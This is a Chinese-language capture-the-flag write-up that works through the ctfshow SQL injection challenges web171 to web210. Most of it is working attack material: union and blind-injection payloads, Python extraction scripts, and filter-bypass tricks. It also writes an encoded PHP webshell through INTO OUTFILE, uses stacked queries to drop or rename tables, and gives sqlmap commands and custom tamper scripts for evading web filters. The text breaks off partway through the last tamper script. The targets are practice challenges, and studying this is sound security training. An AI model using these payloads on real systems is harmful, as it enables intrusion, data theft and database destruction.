CTFSHOW-sql注入

web171

最简单的sql注入,先演示基本操作

payload:

-1' union select 1,2,database() --+     //得到数据库名为ctfshow_web
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+     //得到数据表名为ctfshow_user
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+      //得到列名为id,username,password
-1' union select 1,2,group_concat(username,':',password) from ctfshow_user --+

或者

-1' or id='26

web172

SELECT模块,无过滤注入2

payload:

-1' union select id,password from ctfshow_user2 where username='flag

web173

无过滤注入3

返回结果中不能有flag关键字

payload:

-1' union select id,id,password from ctfshow_user3 where username='flag

和上一题基本一样,只不过多了一列,补上id即可

web174

返回结果过滤了数字,flag中可以就会有数字

我们需要做的就是使得返回结果里不能有数字

最笨的方法,使用replace函数将0-9进行替换

replace("password","1","!")

这句话的意思就是将password当中的1替换为!

payload:

-1' union select 'A',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','nba'),'2','nbb'),'3','nbc'),'4','nbd'),'5','nbe'),'6','nbf'),'7','nbg'),'8','nbh'),'9','nbi'),'0','nbj') from ctfshow_user4 where username='flag

得到

ctfshow{anbinbgnbanbdbnbgf-nbanbfnbfa-nbdbenbh-aanbanbi-enbenbfnbjednbenbgeanbee}

替换之后得到

ctfshow{a9714b7f-166a-4be8-aa19-e560ed57ea5e}

web175

如果返回结果中没有ASCII码在 00-7f范围的,才会查询成功。

方法1:

把flag直接写入到网站根目录

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+

方法二:

类似的,写入一句话木马

-1' union select 1,"" into outfile '/var/www/html/1.php

将其中的进行base64编码,在进行url编码,得到

%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b

-1' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b") into outfile '/var/www/html/1.php

之后就可以使用蚁剑了

使用蚁剑的"数据操作"功能

CTFSHOW-sql注入_第1张图片

CTFSHOW-sql注入_第2张图片

CTFSHOW-sql注入_第3张图片

得到flag

web176

看不到过滤了什么

payload:

-1' or username='flag

web177

过滤了空格

payload:

-1'%0aor%0ausername='flag

或者

%09
%0a
%0d
%0c
/**/

web178

payload同上

web179

payload:

-1'%0cor%0cusername='flag

web180

同上题

web181

这次显示了过滤的内容

function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

payload:

-1'%0cor%0cusername='flag

web182

function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

在上面的基础上过滤了flag

模糊匹配,payload:

-1'%0cor%0cusername%0clike'%fla%

web183

 改成了post传参

function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

并且只回显有几条查询结果

脚本:

import requests
import time

url = 'http://7f66a4b7-a0c3-450c-9766-cead514a5ba7.challenge.ctf.show/select-waf.php'

flagstr = '{abcdefghijklmnopqrstuvwxyz-0123456789}'

flag = ''

for i in range(0,40):
    for x in flagstr:
        data = {
            "tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)
        }
        response = requests.post(url,data=data)
        time.sleep(0.3)
        if response.text.find("user_count = 1;")>0:
            print("{} is right".format(x))
            flag+=x
            break
        else:
            print("{} is wrong".format(x))
            continue
    print(flag)

web184

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

过滤了where,反引号,单引号,双引号,上一题的脚本不能用了

但是没有过滤空格

可以用having代替where

可以使用十六进制字符串代替双引号中的内容

脚本:

import requests
import time

url = 'http://3cd237b1-5207-4df4-9bbb-cef2d3b406ed.challenge.ctf.show/select-waf.php'

flagstr = '{abcdefghijklmnopqrstuvwxyz-0123456789}'


def str2hex(str):
        a = ""
        for x in str:
                a += hex(ord(x))
        return a.replace("0x","")
def main():
        flag = ''
        for i in range(0,40):
            for x in flagstr:
                data = {
                    "tableName":"ctfshow_user group by pass having pass regexp(0x63746673686f77{})".format(str2hex(flag+x))
                }
                response = requests.post(url,data=data)
                time.sleep(0.3)
                if response.text.find("user_count = 1;")>0:
                    print("{} is right".format(x))
                    flag+=x
                    break
                else:
                    print("{} is wrong".format(x))
                    continue
            print(flag)

if __name__ == '__main__':
        main()

跑出来的内容前面加上ctfshow即可

另外

发现这样也能跑出flag,只不过没有前面的ctfshow,需要自己手动加

web185

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

 过滤了数字,上面的payload不能用了

原理:

select true+true;  返回  2

select concat((true+true),(true+true));  返回  22

以此来构造数字

# 每秒发送不超过5个请求
# mysql 官方文档 https://dev.mysql.com/doc/refman/5.7/en/replication.html 5.7版本的

import requests
import time

url = "http://7a83d1b4-2842-4835-aa5e-86dec685ca56.challenge.ctf.show/select-waf.php"

flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"


# flagstr = "{"

def str2hex(str):
    a = ""
    for x in str:
        a += hex(ord(x))
    return "0x" + a.replace("0x", "")


# 63746673686f777b
def formatString(str):
    temp = "concat("
    for x in str:
        temp += char2boolean(x)
    return temp[:-1] + ")"


def char2boolean(ch):
    num = ord(ch)
    temp = "char("
    for x in range(num):
        temp += "true+"
    return temp[:-1] + "),"


# ctfshow{55eff0b8-fa84-4ee8-9cd2-4e84cdd78b73}

def main():
    flag = "ctfshow"
    for i in range(0, 40):
        for x in flagstr:
            data = {
                "tableName": "ctfshow_user group by pass having pass regexp({})".format(formatString(flag + x))
            }
            response = requests.post(url, data=data)
            time.sleep(0.3)
            if response.text.find("user_count = 1;") > 0:
                print("{} is right".format(x))
                flag += x
                break
            else:
                print("{} is wrong".format(x))
                continue
        print(flag)


if __name__ == '__main__':
    main()

web186

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

上面的脚本还能用

web187

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }

这里的md5,有参数true

CTFSHOW-sql注入_第4张图片

得到

特殊字符串:ffifdyop

得到:'or'6�]��!r,��b

bp抓包,即可得到flag

CTFSHOW-sql注入_第5张图片

web188

  //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

 登录成功就会给flag

当我们执行sql语句:select username,password from user where username=0;

这里没有用单引号包裹起来,而且是是弱类型比较

比如:admin == 0

           4abc == 4

所以都输入0即可

CTFSHOW-sql注入_第6张图片

web189

本题提示:flag在api/index.php文件中

  //用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

 上一题的方法不行了

脚本:

# 每秒发送不超过5个请求
import requests
import time

url = "http://69fb68f6-c5ce-426d-9f6f-1c95d1909df6.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"

#$flag=ctfshow{482606d4-6025-426d-85ca-05613d7a829d};
flag = ""
for i in range(257,257+60):
	for x in flagstr:
		data={
		"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
		"password":"0"
		}
		print(data)
		response = requests.post(url,data=data)
		time.sleep(0.3)
		if response.text.find("8d25")>0:
			print("{} is right".format(x))
			flag+=x
			break
		else:
			print("{} is wrong".format(x))
			continue
	print(flag)


web190

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪

脚本:

import requests
import sys
import time

url = "http://9a62dd14-5b53-4122-a600-fa9f56a1d827.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        #id,f1ag
        payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 

#ctfshow{77de2af3-6f34-4d20-adc7-8aba40a40ffe} 

二分法的盲注

web191

 //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

过滤了ASCII,使用ord替代

脚本:

import requests
import sys
import time

url = "http://0746ea92-e768-4d5b-94a4-d06e8e6d1126.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        #id,f1ag
        payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 

web192

 //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

ord和hex也被过滤了

不在使用ascii码进行判断,直接对字母进行判断

脚本:

import requests
import sys
import time

url = "http://adb090c2-705c-4501-9efc-fd82f651bae7.challenge.ctf.show/api/"

flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        #id,f1ag
        payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)='{}'))#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            flag += mid
            print(flag)
            break

web193

//密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

把substr也过滤了

用left替换即可

但是这道题的数据表变了,需要额外跑数据表

脚本:

import requests
import sys
import time

url = "http://fab51b68-1646-473b-b9de-e1925edaa3fc.challenge.ctf.show/api/"

flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_web
        #payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_flxg
        #payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
        #id,f1ag
        payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid)

        data = {
            "username":payload,
            "password":0,
        }
        #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            tempstr += mid
            flag += mid
            print(flag)
            break

web194

//密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

left,right也没了

使用lpad代替

脚本:

import requests
import sys
import time

url = "http://8bf7e90b-c558-4ded-a6c8-f1648a3f79aa.challenge.ctf.show/api/"

flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_web
        #payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_flxg
        #payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
        #id,f1ag
        payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,tempstr+mid)

        data = {
            "username":payload,
            "password":0,
        }
        #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            tempstr += mid
            flag += mid
            print(flag)
            break

web195

 //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

堆叠注入:多条sql语句堆在一起执行

 不能有空格

思路:修改表名

username=1;update`ctfshow_user`set`pass`=1&password=1

CTFSHOW-sql注入_第7张图片

CTFSHOW-sql注入_第8张图片

然后直接登录

web196

 //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

限制了长度

密码正确就可以拿到flag

用户名0

密码使用以前泄露的默认密码登录即可

0
passwordAUTO

web197

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

 上题的方法可以继续使用

另一种方法:

用户名输入

0;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,2)

 密码随便输

这里的意思就是删除以前的表,再自己新建一个并且插入数据:1,2

然后直接使用1,2登录即可得到flag

web198

 //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

把上题的drop过滤了

思路:将username和password互换

username:

0;alter table ctfshow_user change `username` `passw2` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw2` `pass` varchar(100);

password随便输入

然后:用户名0 密码userAUTO 登陆即可

web199

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

 过滤了括号,限制了上一题的payload中的varchar(100)

改为text即可

0;alter table ctfshow_user change `username` `passw2` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw2` `pass` text;

其他操作同上

web200

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

可以继续使用上一题的payload

或者

用户名:0;show tables;
密码:ctfshow_user

web201

开始练习sqlmap的使用

下载:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

题目说了要指定两个参数

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show

查询数据库:

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show --dbs

CTFSHOW-sql注入_第9张图片

查询数据表:

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

CTFSHOW-sql注入_第10张图片

查询列:

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns

 CTFSHOW-sql注入_第11张图片

查询数据

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

CTFSHOW-sql注入_第12张图片

得到flag

web202

提示使用--data 调整sqlmap的请求方式

前面查询数据库,数据表,列的步骤基本相同,差别就是在中间加一条:--data="id=1"

直接最后一步:

python sqlmap.py -u "http://b794446b-7f11-4600-beba-3de5961369b7.challenge.ctf.show/api/" --data="id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web203

使用--method 调整sqlmap的请求方式

--method= 方法   强制使用指定的方式进行连接,例如 PUT
python sqlmap.py -u "http://f3705260-6038-4926-bdbc-010956e9bfe0.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

另外,还需要加一个:--header=Content-Type:text/plain

web204

使用--cookie 提交cookie数据

可以看到页面的cookie

将两个cookie都加上

python sqlmap.py -u "http://623325d8-3c3c-42ff-9423-e185e72a674a.challenge.ctf.show/api/index.php" --data="id=1" --cookie="ctfshow=589d4876207ce99dd659c014bce92754;PHPSESSID=6jto7cppsplvq5345kihs8g5s2" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web205

api调用需要鉴权

抓包先看一下

CTFSHOW-sql注入_第13张图片

发现会发送到getToken.php

点击Forward

CTFSHOW-sql注入_第14张图片

这个是上面题目类型的正常请求

使用--safe-url=SAFEURL  设置在测试目标地址前访问的安全链接,而且使用这个参数时需要指定--safe-freq

--safe-freq=SAFE.. 设置两次注入测试前访问安全链接的次数

这道题的数据表换了,所以需要我们重新查表

python sqlmap.py -u "http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1v4i4cmrckgenlf1jd9h4f7dd8" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web --tables

得到

CTFSHOW-sql注入_第15张图片

python sqlmap.py -u "http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1v4i4cmrckgenlf1jd9h4f7dd8" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_flax --dump

得到flag

web206

sql需要闭合

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

--prefix=PREFIX 攻击载荷的前缀

--suffix=SUFFIX 攻击载荷的后缀

python sqlmap.py -u "http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=e06u7g1sseso5igh8h64c7qgrh" --prefix="')" --suffix="#" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web --tables

CTFSHOW-sql注入_第16张图片

python sqlmap.py -u "http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=e06u7g1sseso5igh8h64c7qgrh" --prefix="')" --suffix="#" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_flaxc --dump

web207

--tamper=TAMPER 指定攻击载荷的篡改脚本

 这里的脚本在sqlmap的tamper目录中

//对传入的参数进行了过滤
  function waf($str){
   return preg_match('/ /', $str);
  }

 过滤了空格

space2comment.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/**/"
                continue

            retVal += payload[i]

    return retVal
python sqlmap.py -u "http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=mqfsia03bp1buuq4vuhbbcjm4d" --prefix="')" --suffix="#" --tamper=space2comment --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web --tables

 CTFSHOW-sql注入_第17张图片

python sqlmap.py -u "http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=mqfsia03bp1buuq4vuhbbcjm4d" --prefix="')" --suffix="#" --tamper=space2comment --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_flaxca --dump

web208

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
  function waf($str){
   return preg_match('/ /', $str);
  }

将select替空,可以使用双写绕过,也可以使用大小写绕过

python ./sqlmap.py -u "http://145960cb-5aa4-448f-ab80-b4fa9a5eaece.challenge.ctf.show/api/index.php" --dump --referer="ctf.show" --safe-url="http://145960cb-5aa4-448f-ab80-b4fa9a5eaece.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=6fbif0l74ghbo1shdhvkutu476" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/space2comment.py,tamper/randomcase.py"

web209

//对传入的参数进行了过滤
  function waf($str){
   //TODO 未完工
   return preg_match('/ |\*|\=/', $str);
  }

过滤了 空格 * =

空格和*可以使用%0a代替,=可以使用like代替

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x0a)+'like'+chr(0x0a)
                continue
            
            elif payload[i] == '*':
                retVal += chr(0x0a)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal

python ./sqlmap.py -u "http://dd17b7d0-aefd-4915-88e2-298de55d0036.challenge.ctf.show/api/index.php" --dump --referer="ctf.show" --safe-url="http://dd17b7d0-aefd-4915-88e2-298de55d0036.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=6ki566sj2j85e1f3rjri4iai26" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/ctfshowweb209.py"

 

web210

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }

对id进行base64解码,然后反转,然后再解码,然后再反转

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from winreg import REG_OPTION_VOLATILE
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def doublebase64encode(payload):
    retVal = payload
    if payload:
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal.encode('utf-8'))
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal).decode('utf-8')
    return retVal


def tamper(payload, **kwargs):
    payload = doublebase64encode(payload)

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
